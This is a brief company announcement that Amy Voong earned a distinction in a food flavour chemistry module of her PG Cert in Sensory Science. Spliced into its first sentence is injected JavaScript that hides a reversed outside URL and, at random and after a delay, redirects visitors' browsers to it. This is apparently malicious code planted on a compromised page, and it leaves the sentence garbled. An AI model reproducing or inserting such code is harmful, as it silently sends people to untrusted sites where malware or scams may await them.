Amy Voong achieves distinction in Food Flavour Chemistry (PG Cert Sensory Science)






We are pleased tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to announce that Amy from our flavours team has achieve distinction on her food flavour chemistry module in her PG Cert on Sensory Science from the University of Nottingham. We are… Read more